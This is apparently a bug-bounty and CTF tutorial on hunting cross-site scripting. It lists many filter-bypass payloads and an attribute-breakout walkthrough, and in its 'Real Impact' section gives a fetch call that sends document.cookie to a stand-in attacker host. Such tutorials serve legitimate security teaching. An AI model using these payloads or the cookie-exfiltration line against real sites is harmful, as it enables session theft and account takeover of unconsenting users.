๋ณธ๋ฌธ์œผ๋กœ ๊ฑด๋„ˆ๋›ฐ๊ธฐ

XSS Hunting: From Basics to Bounty

Cross-Site Scripting (XSS) remains one of the most common vulnerabilities in web applications today. Despite being well-known for decades, developers continue to make the same mistakes, making XSS hunting a profitable skill for bug bounty hunters and CTF players alike.

What is XSS?โ€‹

XSS occurs when an attacker can inject malicious JavaScript into a web page that executes in another user's browser. This happens when user input isn't properly sanitized before being displayed on a page. The impact ranges from cookie theft to complete account takeover.

There are three main types:

Reflected XSS: Your payload is immediately reflected back in the response. Common in search bars and error messages.

Stored XSS: The payload gets saved to a database and executed whenever someone views that data. Think comment sections or user profiles.

DOM-based XSS: The vulnerability exists in client-side JavaScript itself, where the page dynamically updates the DOM with user-controlled data.

Finding Your First XSSโ€‹

Start simple. Look for any place where user input appears on the page. Common locations include:

  • Search functionality
  • Login error messages
  • User profiles and bios
  • Comment sections
  • URL parameters displayed on page
  • File upload names
  • Custom error pages

Begin with the classic payload: <script>alert(1)</script>

If that gets filtered, try variations:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">

Bypassing Filtersโ€‹

Real-world applications have filters. Here's where creativity matters.

Case variation: Some filters only check lowercase. Try <ScRiPt>alert(1)</sCrIpT>

Encoding tricks: Use HTML entities, Unicode, or URL encoding:

&lt;script&gt;alert(1)&lt;/script&gt;
\u003cscript\u003ealert(1)\u003c/script\u003e
%3Cscript%3Ealert(1)%3C/script%3E

Event handlers: If script tags are blocked, dozens of HTML events can execute JavaScript:

<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>

Breaking out of attributes: If your input lands inside an HTML attribute, close it first:

" onmouseover=alert(1) //
' onfocus=alert(1) autofocus='

Using alternative strings: If parentheses are blocked, use template literals:

<script>alert`1`</script>

DOM-Based XSSโ€‹

This requires a different approach since the vulnerability is in JavaScript itself. Look for code like:

document.write(location.hash);
element.innerHTML = userInput;
eval(userInput);

Check the page source for:

  • innerHTML
  • document.write
  • eval()
  • setTimeout() with string arguments
  • location.href assignments

Fuzz URL fragments (#payload), query parameters, and any data that JavaScript reads and uses to modify the page.

Testing Toolsโ€‹

Browser DevTools: Your first line of defense. Check the console for errors and use Elements tab to see how your input renders.

Burp Suite: Intercept requests and modify parameters. The Intruder feature can automate payload fuzzing.

XSS Hunter: Captures blind XSS. Set up a payload that calls back to your server, useful for stored XSS where you can't immediately see the execution.

Browser extensions: XSS Validator, Hackbar, or custom bookmarklets can speed up testing.

Practical Exampleโ€‹

You find a search feature at example.com/search?q=test. Your search term appears in the results: "Results for: test"

Try: example.com/search?q=<script>alert(1)</script>

If filtered, inspect the HTML source. Maybe you see:

<div>Results for: &lt;script&gt;alert(1)&lt;/script&gt;</div>

The angle brackets are encoded. But what if the input also goes into an attribute?

<input type="text" value="your_input" />

Try: example.com/search?q=" onfocus=alert(1) autofocus="

Result:

<input type="text" value="" onfocus=alert(1) autofocus="" />

Success! You've broken out of the attribute and injected your own.

Real Impactโ€‹

In CTFs, XSS often leads to cookie theft (the admin bot visits your link) or bypassing client-side validation. In bug bounties, demonstrate real impact:

  • Steal session cookies: <script>fetch('https://attacker.com?c='+document.cookie)</script>
  • Capture keystrokes on sensitive pages
  • Perform actions as the victim (change password, transfer money)
  • Deface the page
  • Redirect to phishing sites

Always test on authorized targets and follow responsible disclosure.

Prevention for Developersโ€‹

If you're on the defense side:

  • Encode output properly (HTML entities for HTML context, JavaScript escaping for JS context)
  • Use Content Security Policy headers
  • Set HTTPOnly flag on cookies
  • Validate input (allowlists are better than blocklists)
  • Use modern frameworks that auto-escape by default (React, Vue)

Conclusionโ€‹

XSS hunting is part art, part science. You need to understand both how browsers parse HTML and how applications process input. Start with simple payloads, study how filters work, and build up your bypass techniques.

Every application is different, so keep a collection of payloads and modify them for each target. The more you practice, the faster you'll spot vulnerable patterns. Whether you're in it for CTF flags or bug bounties, XSS skills remain valuable in 2026.

Happy hunting!